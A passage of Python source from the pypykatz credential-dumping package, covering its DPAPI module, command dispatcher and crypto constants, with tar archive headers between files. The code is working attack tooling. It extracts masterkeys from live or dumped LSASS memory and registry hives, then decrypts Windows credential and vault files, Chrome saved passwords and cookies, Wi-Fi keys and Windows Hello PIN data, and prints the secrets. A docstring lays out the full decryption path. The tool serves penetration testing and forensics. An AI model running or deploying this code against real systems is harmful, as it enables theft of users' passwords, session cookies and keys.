host_key, name, path, value)) elif args.dapi_module == 'wifi': dpapi.load_masterkeys(args.mkf) wificonfig_enc = DPAPI.parse_wifi_config_file(args.wifixml) wificonfig = dpapi.decrypt_wifi_config_file_inner(wificonfig_enc) print('%s : %s' % (wificonfig['name'], wificonfig['key'])) elif args.dapi_module == 'winhellopin': hives = RegFinder.from_dir(args.regdir) dpapi.get_prekeys_form_registry_files(hives['SYSTEM'], hives['SECURITY'], hives['SAM']) dpapi.decrypt_masterkey_directory(args.mkd) results = dpapi.winhello_pin_hash_offline(args.ngcdir, args.cryptokeys) if len(results) == 0: print('No results!') return for h in results: print(h) elif args.dapi_module == 'describe': def read_file_or_hex(x): data = None try: with open(x, 'rb') as f: data=f.read() except: data = bytes.fromhex(x) return data try: data = read_file_or_hex(args.data) except: raise Exception('Could not load data!') if args.datatype.upper() == 'BLOB': res = DPAPI_BLOB.from_bytes(data) elif args.datatype.upper() == 'MASTERKEY': res = MasterKeyFile.from_bytes(data) elif args.datatype.upper() == 'VPOL': res = VAULT_VPOL.from_bytes(data) elif args.datatype.upper() == 'PVK': res = PVKFile.from_bytes(data) elif args.datatype.upper() == 'CREDENTIAL': res = CredentialFile.from_bytes(data) else: raise Exception('Unknown data format %s' % args.datatype) print(str(res)) def run_live(self, args): if platform.system().lower() != 'windows': raise Exception('Live commands only work on Windows!') if args.livedpapicommand == 'tcap': from pypykatz.dpapi.extras import dpapi_trustedcredman rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile) if err is not None: print(err) return if args.outfile is not None: with open(args.outfile, 'w') as f: for cred in creds: f.write(cred.to_text() + '\r\n') else: for cred in creds: print(cred.to_text()) return from pypykatz.dpapi.dpapi import DPAPI dpapi = DPAPI(use_winapi=True) if args.livedpapicommand == 'keys': from pypykatz.dpapi.dpapi import prepare_dpapi_live dpapi = prepare_dpapi_live(args.method) if args.outfile is not None: dpapi.dump_pre_keys(args.outfile + '_prekeys') dpapi.dump_masterkeys(args.outfile + '_masterkeys') else: dpapi.dump_pre_keys() dpapi.dump_masterkeys() return elif args.livedpapicommand == 'cred': cred_blob = dpapi.decrypt_credential_file(args.credfile) print(cred_blob.to_text()) elif args.livedpapicommand == 'vpol': key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) print('VPOL key1: %s' % key1.hex()) print('VPOL key2: %s' % key2.hex()) elif args.livedpapicommand == 'vcred': key1, key2 = dpapi.decrypt_vpol_file(args.vpolfile) res = dpapi.decrypt_vcrd_file(args.vcredfile) for attr in res: for i in range(len(res[attr])): if res[attr][i] is not None: print('AttributeID: %s Key %s' % (attr.id, i)) print(hexdump(res[attr][i])) elif args.livedpapicommand == 'securestring': dec_sec = dpapi.decrypt_securestring_hex(args.securestring) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.livedpapicommand == 'securestringfile': data = args.data[0] dec_sec = dpapi.decrypt_securestring_file(data) print('HEX: %s' % dec_sec.hex()) print('STR: %s' % dec_sec.decode('utf-16-le')) elif args.livedpapicommand == 'blob': dec_sec = dpapi.decrypt_securestring_hex(args.blob) print('HEX: %s' % dec_sec.hex()) elif args.livedpapicommand == 'blobfile': dec_sec = dpapi.decrypt_securestring_file(args.blobfile) print('HEX: %s' % dec_sec.hex()) elif args.livedpapicommand == 'chrome': res = dpapi.decrypt_all_chrome_live() for file_path, url, user, password in res['logins']: print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url)) for file_path, host_key, name, path, value in res['cookies']: print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value)) elif args.livedpapicommand == 'wifi': for wificonfig in dpapi.decrypt_wifi_live(): print('%s : %s' % (wificonfig['name'], wificonfig['key'])) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/dpapi/constants.py0000664000175000017500000001757014543266630020446 0ustar00webdevwebdevimport enum # https://eljay.github.io/directx-sys/winapi/wincrypt/index.html # https://doxygen.reactos.org/d7/d4a/wincrypt_8h.html # impacket dpapi.py from unicrypto.hashlib import sha1 as SHA1 from unicrypto.hashlib import sha512 as SHA512 from unicrypto.symmetric import AES, MODE_CBC from unicrypto.symmetric import TDES as DES3 # Algorithm classes ALG_CLASS_ANY = (0) ALG_CLASS_SIGNATURE = (1 << 13) ALG_CLASS_MSG_ENCRYPT = (2 << 13) ALG_CLASS_DATA_ENCRYPT = (3 << 13) ALG_CLASS_HASH = (4 << 13) ALG_CLASS_KEY_EXCHANGE = (5 << 13) ALG_CLASS_ALL = (7 << 13) # Algorithm types ALG_TYPE_ANY = (0) ALG_TYPE_DSS = (1 << 9) ALG_TYPE_RSA = (2 << 9) ALG_TYPE_BLOCK = (3 << 9) ALG_TYPE_STREAM = (4 << 9) ALG_TYPE_DH = (5 << 9) ALG_TYPE_SECURECHANNEL = (6 << 9) ALG_SID_ANY = (0) ALG_SID_RSA_ANY = 0 ALG_SID_RSA_PKCS = 1 ALG_SID_RSA_MSATWORK = 2 ALG_SID_RSA_ENTRUST = 3 ALG_SID_RSA_PGP = 4 ALG_SID_DSS_ANY = 0 ALG_SID_DSS_PKCS = 1 ALG_SID_DSS_DMS = 2 ALG_SID_ECDSA = 3 # Block cipher sub ids ALG_SID_DES = 1 ALG_SID_3DES = 3 ALG_SID_DESX = 4 ALG_SID_IDEA = 5 ALG_SID_CAST = 6 ALG_SID_SAFERSK64 = 7 ALG_SID_SAFERSK128 = 8 ALG_SID_3DES_112 = 9 ALG_SID_CYLINK_MEK = 12 ALG_SID_RC5 = 13 ALG_SID_AES_128 = 14 ALG_SID_AES_192 = 15 ALG_SID_AES_256 = 16 ALG_SID_AES = 17 ALG_SID_SKIPJACK = 10 ALG_SID_TEK = 11 CRYPT_MODE_CBCI = 6 # ANSI CBC Interleaved CRYPT_MODE_CFBP = 7 # ANSI CFB Pipelined CRYPT_MODE_OFBP = 8 # ANSI OFB Pipelined CRYPT_MODE_CBCOFM = 9 # ANSI CBC + OF Masking CRYPT_MODE_CBCOFMI = 10 # ANSI CBC + OFM Interleaved ALG_SID_RC2 = 2 ALG_SID_RC4 = 1 ALG_SID_SEAL = 2 # Diffie - Hellman sub - ids ALG_SID_DH_SANDF = 1 ALG_SID_DH_EPHEM = 2 ALG_SID_AGREED_KEY_ANY = 3 ALG_SID_KEA = 4 ALG_SID_ECDH = 5 # Hash sub ids ALG_SID_MD2 = 1 ALG_SID_MD4 = 2 ALG_SID_MD5 = 3 ALG_SID_SHA = 4 ALG_SID_SHA1 = 4 ALG_SID_MAC = 5 ALG_SID_RIPEMD = 6 ALG_SID_RIPEMD160 = 7 ALG_SID_SSL3SHAMD5 = 8 ALG_SID_HMAC = 9 ALG_SID_TLS1PRF = 10 ALG_SID_HASH_REPLACE_OWF = 11 ALG_SID_SHA_256 = 12 ALG_SID_SHA_384 = 13 ALG_SID_SHA_512 = 14 # secure channel sub ids ALG_SID_SSL3_MASTER = 1 ALG_SID_SCHANNEL_MASTER_HASH = 2 ALG_SID_SCHANNEL_MAC_KEY = 3 ALG_SID_PCT1_MASTER = 4 ALG_SID_SSL2_MASTER = 5 ALG_SID_TLS1_MASTER = 6 ALG_SID_SCHANNEL_ENC_KEY = 7 ALG_SID_ECMQV = 1 class ALGORITHMS(enum.IntFlag): CALG_MD2 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2) CALG_MD4 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4) CALG_MD5 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5) CALG_SHA = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA) CALG_SHA1 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1) CALG_RSA_SIGN = (ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY) CALG_DSS_SIGN = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY) CALG_NO_SIGN = (ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY) CALG_RSA_KEYX = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_RSA|ALG_SID_RSA_ANY) CALG_DES = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DES) CALG_3DES_112 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES_112) CALG_3DES = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES) CALG_DESX = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DESX) CALG_RC2 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC2) CALG_RC4 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_RC4) CALG_SEAL = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_SEAL) CALG_DH_SF = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_SANDF) CALG_DH_EPHEM = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_EPHEM) CALG_AGREEDKEY_ANY = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_AGREED_KEY_ANY) CALG_KEA_KEYX = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_KEA) CALG_HUGHES_MD5 = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_ANY|ALG_SID_MD5) CALG_SKIPJACK = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_SKIPJACK) CALG_TEK = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_TEK) CALG_SSL3_SHAMD5 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5) CALG_SSL3_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL3_MASTER) CALG_SCHANNEL_MASTER_HASH = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MASTER_HASH) CALG_SCHANNEL_MAC_KEY = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MAC_KEY) CALG_SCHANNEL_ENC_KEY = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_ENC_KEY) CALG_PCT1_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_PCT1_MASTER) CALG_SSL2_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL2_MASTER) CALG_TLS1_MASTER = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_TLS1_MASTER) CALG_RC5 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC5) CALG_HMAC = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC) CALG_TLS1PRF = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF) CALG_HASH_REPLACE_OWF = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF) CALG_AES_128 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_128) CALG_AES_192 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_192) CALG_AES_256 = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_256) CALG_AES = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES) CALG_SHA_256 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256) CALG_SHA_384 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384) CALG_SHA_512 = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512) CALG_ECDH = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH) CALG_ECMQV = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV) CALG_ECDSA = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA) ALGORITHMS_DATA = { # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize ALGORITHMS.CALG_SHA: (160//8, SHA1, None, None, 512//8), ALGORITHMS.CALG_HMAC: (160//8, SHA512, None, None, 512//8), ALGORITHMS.CALG_3DES: (192//8, DES3, MODE_CBC, 64//8), ALGORITHMS.CALG_SHA_512: (128//8, SHA512, None, None, 1024//8), ALGORITHMS.CALG_AES_256: (256//8, AES, MODE_CBC,128//8), #CBC is already in the object... } class FLAGS(enum.IntFlag): CRYPTPROTECT_UI_FORBIDDEN = 0x1 CRYPTPROTECT_LOCAL_MACHINE = 0x4 CRYPTPROTECT_CRED_SYNC = 0x8 CRYPTPROTECT_AUDIT = 0x10 CRYPTPROTECT_VERIFY_PROTECTION = 0x40 CRYPTPROTECT_CRED_REGENERATE = 0x80 CRYPTPROTECT_SYSTEM = 0x20000000././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721569118.0 pypykatz-0.6.10/pypykatz/dpapi/dpapi.py0000664000175000017500000010554214647207536017531 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # # Kudos: # Processus Thief (@ProcessusT) # # import os import ntpath import json import hmac import glob import sqlite3 import base64 import platform from hashlib import sha1, pbkdf2_hmac, sha512 import xml.etree.ElementTree as ET from pypykatz import logger from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile from pypykatz.dpapi.structures.credentialfile import CredentialFile, CREDENTIAL_BLOB from pypykatz.dpapi.structures.blob import DPAPI_BLOB from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS from pypykatz.dpapi.finders.ngc import NGCProtectorFinder, NGCProtector from pypykatz.dpapi.finders.cryptokeys import CryptoKeysFinder from unicrypto.hashlib import md4 as MD4 from unicrypto.symmetric import AES, MODE_GCM, MODE_CBC from winacl.dtyp.wcee.pvkfile import PVKFile from winacl.dtyp.wcee.cryptoapikey import CryptoAPIKeyFile, CryptoAPIKeyProperties from pypykatz.commons.common import UniversalEncoder, base64_decode_url from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 if platform.system().lower() == 'windows': from pypykatz.commons.winapi.processmanipulator import ProcessManipulator """ So! DPAPI... In order to decrpyt a file/blob/data of any kind you must obtain a masterkey. Masterkey can be obtained either from the LSASS process, or by decrypting a masterkeyfile. LSASS is straightforward, succsessfully dumping it will give you all the plaintext masterkeys with the appropriate GUID. But if you can't use LSASS, you have to obtain the masterkey file, and decrypt it with an appropriate key. (too many keys, I know...) Masterkey files can be located in '%APPDATA%\Microsoft\Protect\%SID%' for each user or '%SYSTEMDIR%\Microsoft\Protect' for the SYSTEM user. But how to decrypt them? A masterkeyfile can contain multiple different keys, a masterkey is one of them. The masterkey is stored encrypted in the masterkeyfile, and is encrypted with a key that can be either a key stored in registry (LSA secrets) or not. In case the LSA DPAPI keys are not valid, you will need to use the NT hash of the user's password or the user's plaintext password itself. BUT! deriving the key from the password and the SID will yield 3 different keys, and so far noone could tell what key is the correct one to be used. Solution for decrypting a masterkey in the mastereky file: harvest as many key candidates as possible and try to decrypt the masterkey. Much to our luck, verifying the signature data after decryption can tell us if the decrpytion was sucsessfull, so we can tell if the masterkey decrypted correctly or not. But you may ask: I see a lot of different masterkey files, how can I tell which one is used for my . The answer: a masterkeyfile stores GUID of the keys it stores (eg. the masterkey), and so does your data sructure for the appropriate key. Therefore it's easy to tell which file to decrypt for a given BUT WAIT! THERE IS MORE! DPAPI is also used to decrypt stroed secrets in Windows Vault and Credential files. Credential files: 1. standalone file, inside it there is a DPAPI_BLOB. 2. DPAPI_BLOB can be decrypted with the corresponding masterkey 3. After decryption you'll find a CREDENTIAL_BLOB strucutre. 4. CREDENTIAL_BLOB strucutre has the plaintext secrets, but it's not possible to tell in which filed they are stored. You'll need to check them by hand :) Vault files (VCRD and VPOL): VCRD file holds the secrets encrypted. The decrpytion key is stored in the VPOL file, but also encryted. The VPOL file's decryption key is a masterkey. The masterkey is stored in a Masterkeyfile... 1. Need to find the masterkey to decrypt the VPOL file 2. VPOL file will give two keys after sucsessful decryption 3. There is no way to tell (atm) which key will be the correct one to decrypt the VCRD file 4. The VCRD file has a lot of stored secrets, called attributes. Each attribute is encrypted with one of the keys from the VPOL file 5. For each attribute: for each key: decrypt attribute. 6. Check manually if one of them sucseeded because there are no integrity checks, so no way to tell programatically which key worked. Path to decrypt stuff: Sub-sections are options of how to get the keys 1. pre_masterkey: a, from user password and SID b, from user NT hash and SID c, from live registry SYSTEM cached DPAPI key or SAM cache NT hash and SID d, from offline registry hives 2. masterkey: a, from masterkeyfile + pre_masterkey b, from live LSASS dump c, from offline LSASS dump 3. credential file: a, masterkey + credential_file 3. VPOL file: a, masterkey + VPOL file 3. VCRED file: a, VPOL file + VCRED file 3. DPAPI_BLOB: a, masterkey TODO: A LOT! currently fetching backupkeys from the DC is not supported. and probably missing a lot of things in the strucutre parsing :( """ class DPAPI: def __init__(self, use_winapi = False): self.use_winapi = use_winapi self.prekeys = {} #keys in bytes format stored in a dict for avoiding dupes #masterkey, backupkey self.masterkeys = {} #guid -> binary value self.backupkeys = {} #guid -> binary value #since so far I dunno how to match vault-keys to vaults, its a list :( self.vault_keys = [] def dump_pre_keys(self, filename = None): if filename is None: for x in self.prekeys: print(x.hex()) else: with open(filename, 'w', newline = '') as f: for x in self.prekeys: f.write(x.hex() + '\r\n') def load_prekeys(self, filename): try: open(filename, 'r') except Exception as e: key = bytes.fromhex(filename) self.prekeys[key] = 1 return else: with open(filename, 'r') as f: for line in f: line = line.strip() self.prekeys[bytes.fromhex(line)] = 1 def dump_preferred_masterkey_guid(self, filename): from uuid import UUID with open(filename, 'rb') as f: b = f.read()[:16] guid = UUID(bytes_le = b) print('[GUID] %s' % guid) def dump_masterkeys(self, filename = None): if filename is None: for x in self.masterkeys: print('[GUID] %s [MASTERKEY] %s' % (x, self.masterkeys[x].hex())) for x in self.backupkeys: print('[GUID] %s [BACKUPKEY] %s' % (x, self.backupkeys[x].hex())) else: with open(filename, 'w', newline = '') as f: t = { 'masterkeys' : self.masterkeys, 'backupkeys': self.backupkeys} f.write(json.dumps(t, cls = UniversalEncoder, indent=4, sort_keys=True)) def load_masterkeys(self, filename): with open(filename, 'r') as f: data = json.loads(f.read()) for guid in data['backupkeys']: self.backupkeys[guid] = bytes.fromhex(data['backupkeys'][guid]) for guid in data['masterkeys']: self.masterkeys[guid] = bytes.fromhex(data['masterkeys'][guid]) def get_prekeys_from_password(self, sid, password = None, nt_hash = None, sha1_hash=None): """ Creates pre-masterkeys from user SID and password of nt hash. If NT hash is provided the function can only generate 2 out of the 3 possible keys, this is because one of the derived keys relies ion the SHA1 hash of the user password sid: user's SID as a string password: user's password. optional. if not provided, then NT hash must be provided nt_hash: user's NT hash. optional if not provided, the password must be provided """ if password is None and nt_hash is None and sha1_hash is None: raise Exception('Provide either password, NT hash or SHA1 hash!') if password is None: # Will generate two keys, one with SHA1 and another with MD4 if nt_hash and isinstance(nt_hash, str): nt_hash = bytes.fromhex(nt_hash) if sha1_hash and isinstance(sha1_hash, str): sha1_hash = bytes.fromhex(sha1_hash) key1 = key2 = key3 = key4 = None if password or password == '': ctx = MD4(password.encode('utf-16le')) nt_hash = ctx.digest() sha1_hash = sha1(password.encode('utf-16le')).digest() if sha1_hash: key1 = hmac.new(sha1_hash, (sid + '\0').encode('utf-16le'), sha1).digest() key4 = sha1_hash if nt_hash: key2 = hmac.new(nt_hash, (sid + '\0').encode('utf-16le'), sha1).digest() # For Protected users tmp_key = pbkdf2_hmac('sha256', nt_hash, sid.encode('utf-16le'), 10000) tmp_key_2 = pbkdf2_hmac('sha256', tmp_key, sid.encode('utf-16le'), 1)[:16] key3 = hmac.new(tmp_key_2, (sid + '\0').encode('utf-16le'), sha1).digest()[:20] count = 1 for key in [key1, key2, key3, key4]: if key is not None: self.prekeys[key] = 1 logger.debug('Prekey_%d %s %s %s %s' % (count, sid, password, nt_hash, key.hex())) count += 1 return key1, key2, key3, key4 def __get_registry_secrets(self, lr): """ Gets the pre-keys from an already parsed OffineRegistry or LiveRegistry object, populates the userkey/machinekey lists, returns the obtained keys lr: OffineRegistry or LiveRegistry object return: touple of two lists, [0] userkeys [1] machinekeys """ user = [] machine = [] from pypykatz.registry.security.common import LSASecretDPAPI if lr.security: for secret in lr.security.cached_secrets: if isinstance(secret, LSASecretDPAPI): logger.debug('[DPAPI] Found DPAPI user key in registry! Key: %s' % secret.user_key) logger.debug('[DPAPI] Found DPAPI machine key in registry! Key: %s' % secret.machine_key) self.prekeys[secret.user_key] = 1 user.append(secret.user_key) self.prekeys[secret.machine_key] = 1 machine.append(secret.machine_key) if lr.sam is not None: for secret in lr.sam.secrets: if secret.nt_hash: sid = '%s-%s' % (lr.sam.machine_sid, secret.rid) x, key2, key3, y = self.get_prekeys_from_password(sid, nt_hash = secret.nt_hash) logger.debug('[DPAPI] NT hash method. Calculated user key for user %s! Key2: %s Key3: %s' % (sid, key2, key3)) user.append(key2) user.append(key3) continue return user, machine def get_prekeys_form_registry_live(self): """ return: touple of two lists, [0] userkeys [1] machinekeys """ from pypykatz.registry.live_parser import LiveRegistry from pypykatz.registry.offline_parser import OffineRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: logger.debug('[DPAPI] Failed to obtain registry secrets via direct registry reading method') try: lr = OffineRegistry.from_live_system() except Exception as e: logger.debug('[DPAPI] Failed to obtain registry secrets via filedump method') if lr is not None: return self.__get_registry_secrets(lr) else: raise Exception('Registry parsing failed!') def get_prekeys_form_registry_files(self, system_path, security_path, sam_path = None): """ return: touple of two lists, [0] userkeys [1] machinekeys """ from pypykatz.registry.offline_parser import OffineRegistry lr = None try: lr = OffineRegistry.from_files(system_path, sam_path = sam_path, security_path = security_path) except Exception as e: logger.error('[DPAPI] Failed to obtain registry secrets via direct registry reading method. Reason: %s' %e) if lr is not None: return self.__get_registry_secrets(lr) else: raise Exception('[DPAPI] Registry parsing failed!') def get_all_keys_from_lsass_live(self): """ Parses the live LSASS process and extracts the plaintext masterkeys, and also generates prekeys from all available credentials It does not retun anything, just sets up all key material in the object return: None """ from pypykatz.pypykatz import pypykatz katz = pypykatz.go_live() sids = [katz.logon_sessions[x].sid for x in katz.logon_sessions] for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug('[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows(): if package.lower() == 'dpapi': continue sids = [katz.logon_sessions[x].sid] for sid in sids: if plaintext is not None: self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None) if nthex is not None and len(nthex) == 32: self.get_prekeys_from_password(sid, password = None, nt_hash = nthex) if shahex is not None and len(shahex) == 40: self.prekeys[bytes.fromhex(shahex)] = 1 def get_masterkeys_from_lsass_live(self): """ Parses the live LSASS process and extracts the plaintext masterkeys return: dictionary of guid->keybytes """ from pypykatz.pypykatz import pypykatz katz = pypykatz.go_live() for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug('[DPAPI] Got masterkey for GUID %s via live LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) return self.masterkeys def get_masterkeys_from_lsass_dump(self, file_path): """ Parses the mindiump of an LSASS process file and extracts the plaintext masterkeys file_path: path to the mindiump file return: dictionary of guid->keybytes """ from pypykatz.pypykatz import pypykatz katz = pypykatz.parse_minidump_file(file_path) for x in katz.logon_sessions: for dc in katz.logon_sessions[x].dpapi_creds: logger.debug('[DPAPI] Got masterkey for GUID %s via minidump LSASS method' % dc.key_guid) self.masterkeys[dc.key_guid] = bytes.fromhex(dc.masterkey) for package,_,_, nthex, lmhex, shahex, _,_,_, plaintext in katz.logon_sessions[x].to_grep_rows(): if package.lower() == 'dpapi': continue sids = [katz.logon_sessions[x].sid] for sid in sids: if plaintext is not None: self.get_prekeys_from_password(sid, password = plaintext, nt_hash = None) if nthex is not None and len(nthex) == 32: self.get_prekeys_from_password(sid, password = None, nt_hash = nthex) if shahex is not None and len(shahex) == 40: self.prekeys[bytes.fromhex(shahex)] = 1 return self.masterkeys def decrypt_masterkey_file_with_pvk(self, mkffile, pvkfile): """ Decrypting the masterkeyfile using the domain backup key in .pvk format """ with open(mkffile, 'rb') as fp: data = fp.read() mkf = MasterKeyFile.from_bytes(data) dk = mkf.domainkey.secret privkey = PVKFile.from_file(pvkfile).get_key() decdk = privkey.decrypt(dk[::-1], PKCS1v15()) secret = decdk[8:72] # TODO: proper file format would be good here!!! self.masterkeys[mkf.guid] = secret return self.masterkeys def decrypt_masterkey_file(self, file_path, key = None): """ Decrypts Masterkeyfile file_path: path to Masterkeyfile key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object. returns: CREDENTIAL_BLOB object """ with open(file_path, 'rb') as f: mks, bks = self.decrypt_masterkey_bytes(f.read(), key = key) self.masterkeys.update(mks) self.masterkeys.update(bks) return mks, bks def decrypt_masterkey_directory(self, directory, ignore_errors: bool = True): """ Decrypts all Masterkeyfiles in a directory directory: path to directory ignore_errors: if set to True, the function will not raise exceptions if a file cannot be decrypted returns: dictionary of guid->keybytes """ for filename in glob.glob(os.path.join(directory, '**'), recursive = True): if os.path.isfile(filename): try: self.decrypt_masterkey_file(filename) except Exception as e: if ignore_errors is False: raise e logger.debug('Failed to decrypt %s Reason: %s' % (filename, e)) return self.masterkeys def decrypt_masterkey_bytes(self, data, key = None): """ Decrypts Masterkeyfile bytes data: bytearray of the masterkeyfile key: bytes describing the key used for decryption returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key """ mkf = MasterKeyFile.from_bytes(data) mks = {} bks = {} if mkf.masterkey is not None: if mkf.guid in self.masterkeys: mks[mkf.guid] = self.masterkeys[mkf.guid] else: for user_key in self.prekeys: dec_key = mkf.masterkey.decrypt(user_key) if dec_key: logger.debug('user key win: %s' % user_key.hex()) self.masterkeys[mkf.guid] = dec_key mks[mkf.guid] = dec_key break if key is not None: dec_key = mkf.masterkey.decrypt(key) if dec_key: self.masterkeys[mkf.guid] = dec_key mks[mkf.guid] = dec_key if mkf.backupkey is not None: if mkf.guid in self.masterkeys: mks[mkf.guid] = self.masterkeys[mkf.guid] else: for user_key in self.prekeys: dec_key = mkf.backupkey.decrypt(user_key) if dec_key: self.backupkeys[mkf.guid] = dec_key bks[mkf.guid] = dec_key break if key is not None: dec_key = mkf.backupkey.decrypt(key) if dec_key: self.masterkeys[mkf.guid] = dec_key bks[mkf.guid] = dec_key return mks, bks def decrypt_credential_file(self, file_path): """ Decrypts CredentialFile file_path: path to CredentialFile returns: CREDENTIAL_BLOB object """ with open(file_path, 'rb') as f: return self.decrypt_credential_bytes(f.read()) def get_key_for_blob(self, blob): """ Looks up the masterkey for a given DPAPI_BLOB object blob: DPAPI_BLOB object returns: bytes of the decryption key """ if blob.masterkey_guid not in self.masterkeys: raise Exception('No matching masterkey was found for the blob!') return self.masterkeys[blob.masterkey_guid] def decrypt_credential_bytes(self, data, entropy = None): """ Decrypts CredentialFile bytes CredentialFile holds one DPAPI blob, so the decryption is straightforward, and it also has a known structure for the cleartext. Pay attention that the resulting CREDENTIAL_BLOB strucutre's fields can hold the secrets in wierd filenames like "unknown" data: CredentialFile bytes returns: CREDENTIAL_BLOB object """ cred = CredentialFile.from_bytes(data) dec_data = self.decrypt_blob_bytes(cred.data, entropy = entropy) cb = CREDENTIAL_BLOB.from_bytes(dec_data) return cb def decrypt_blob(self, dpapi_blob, key = None, entropy = None): """ Decrypts a DPAPI_BLOB object The DPAPI blob has a GUID attributes which indicates the masterkey to be used, also it has integrity check bytes so it is possible to tell is decryption was sucsessfull. dpapi_blob: DPAPI_BLOB object key: raw bytes of the decryption key. If not supplied the function will look for keys already cached in the DPAPI object. returns: bytes of the cleartext data """ if key is None: logger.debug('[DPAPI] Looking for master key with GUID %s' % dpapi_blob.masterkey_guid) if dpapi_blob.masterkey_guid not in self.masterkeys: raise Exception('No matching masterkey was found for the blob!') key = self.masterkeys[dpapi_blob.masterkey_guid] return dpapi_blob.decrypt(key, entropy = entropy) def decrypt_blob_bytes(self, data, key = None, entropy = None): """ Decrypts DPAPI_BLOB bytes. data: DPAPI_BLOB bytes returns: bytes of the cleartext data """ if self.use_winapi is True: from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData return CryptUnprotectData(data) blob = DPAPI_BLOB.from_bytes(data) logger.debug(str(blob)) return self.decrypt_blob(blob, key = key, entropy = entropy) def decrypt_vcrd_file(self, file_path): """ Decrypts a VCRD file Location: %APPDATA%\Local\Microsoft\Vault\%GUID%\<>.vcrd file_path: path to the vcrd file returns: dictionary of attrbitues as key, and a list of possible decrypted data """ with open(file_path, 'rb') as f: return self.decrypt_vcrd_bytes(f.read()) def decrypt_vcrd_bytes(self, data): """ Decrypts VCRD file bytes. data: VCRD file 